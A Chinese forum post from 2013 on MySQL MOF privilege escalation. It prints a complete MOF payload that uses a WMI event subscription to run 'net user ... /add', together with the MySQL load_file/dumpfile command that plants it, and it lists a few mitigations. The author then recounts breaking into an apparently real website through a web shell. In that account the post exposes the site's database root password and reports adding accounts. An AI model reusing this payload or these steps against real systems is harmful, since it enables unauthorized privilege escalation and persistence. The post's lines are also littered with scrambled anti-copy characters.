找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2287|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法6 M" M+ d( J' }; m) N" a& W
; P2 J$ K/ O+ U9 W
网上公开的一些利用代码:
0 {# v  M' Q3 ~6 S' h4 U& }4 @
7 ]3 v. V3 ~. ^* L' J#pragma namespace(“\\\\.\\root\\subscription”)2 ]  l) Q( p$ J

4 e4 j* o& ]& Q% q% e3 W5 Uinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
4 X6 i+ N6 N, W* d& x2 S4 n& m" j0 P7 s2 U, h

2 P" |3 j( m1 P& o, K% k# x: ~
0 |- l% W8 _) i, g- w& u4 \
2 {* i& H8 e1 P% {* r/ H9 d- b/ i; _- C0 ~( M$ a
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;* N, M4 h" G' ~) `# R
从上面代码来看得出解决办法:
. `! l. g# o0 G- |. @
: C0 [) M( D  m& Q5 Q2 e7 K1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数! c4 @2 t/ V' x; h: [* v$ |) U: L
7 [. a4 K. N1 F  N( q, p) L& y0 T
2、禁止使用”WScript.Shel”组件
6 G' Z. R& E) L. Y
" E1 o, r8 D: h) S3 H3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER! \+ j- h2 K9 h* j4 H  P$ S6 D
5 @. B  ]4 v1 q' [. e$ F& c
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
5 Q* Y# W3 u9 t5 @. o
9 T: o% x: C( N: r6 f3 @事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权5 ]+ ?9 O; O# d7 ^& r& ~5 }1 y

% g+ _$ b9 _* c7 [但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容! W( V2 k  e% F. _0 _6 d0 I

8 f1 w# i+ Q' X" K  P7 p看懂了后就开始练手吧, `7 l) h% U/ E
& }, y! ?. B3 H; D
http://www.webbmw.com/config/config_ucenter.php 一句话 a
9 V4 J( |: T! c1 m% y$ j9 J# P6 Z+ n5 B( q2 J
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。2 B( \6 g" I2 q: H- u& m
* s- c2 z( w7 @8 @# }- e- Y2 G- Z3 O
于是直接用菜刀开搞# x, [$ F: m+ \- V9 y7 @6 E

2 T& g5 }6 [# F: [& Q$ K% L( }上马先8 ~1 T, i! M; J- J+ O
, \# P  I* C5 }/ O# I% K
既然有了那些账号 之类的 于是我们就执行吧…….+ P4 l% v. i; W3 B

9 ?. S9 G+ j( P小小的说下
' {2 V0 d. `' d8 O
4 `8 e( _+ Z0 G+ z4 u% m在这里第1次执行未成功        原因未知3 n8 y& S7 M8 j) W8 k: h5 O

1 J7 v+ L" s0 n. q* i: Y" \  X我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
& h2 ?. H- {+ [. G# g/ ]: \" B
: a" Z0 s) ?: F! ]#pragma namespace(“\\\\.\\root\\subscription”); i/ y: d9 D# i8 v

0 e! v* U# g& X, C' R' I* x3 @instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
+ A* U% g' J) e$ A6 u/ M0 a8 Q; a5 V0 x
我是将文件放到C:\WINDOWS\temp\1.mof
3 D6 w) U' O: N% J  I, I0 h
8 }# I/ H2 D; E9 G0 V$ S0 M所以我们就改下执行的代码. @& g, S1 ?! @  Y

0 V. H1 ?2 q6 b# V1 Xselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
( C2 w2 {" T: C5 I
: s6 F/ n; c! w" I7 x! S" j5 H
4 z/ \2 B6 r" G9 z6 @/ J5 x
1 i$ y6 }( x- K' @6 l7 j, |7 v但是 你会发现账号还是没有躺在那里。。
" m1 {, I* g6 m+ z6 H$ Y8 \! P+ @. _; {
于是我就感觉蛋疼
* z) y8 c, q& K- B# T
5 e: m9 B4 V7 f" k/ A* q就去一个一个去执行 但是执行到第2个 mysql时就成功了………
/ u, l' d: K$ d: C" ^) K
" `2 L/ j/ N+ q/ ?
0 {; P, [1 E0 h+ n- u) x9 I, N2 X+ l. ^$ q- r/ k1 `
但是其他库均不成功…+ t8 q9 G5 Q9 Y; U( `& S3 K
+ Q( f( J2 e- H0 @
我就很费解呀 到底为什么不成功求大牛解答…
) F" d4 Y0 q  R! _1 L
- K( r6 K$ I; n2 x9 i
; A# ~  S6 W; c( M# N( {1 }; H5 |' {0 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表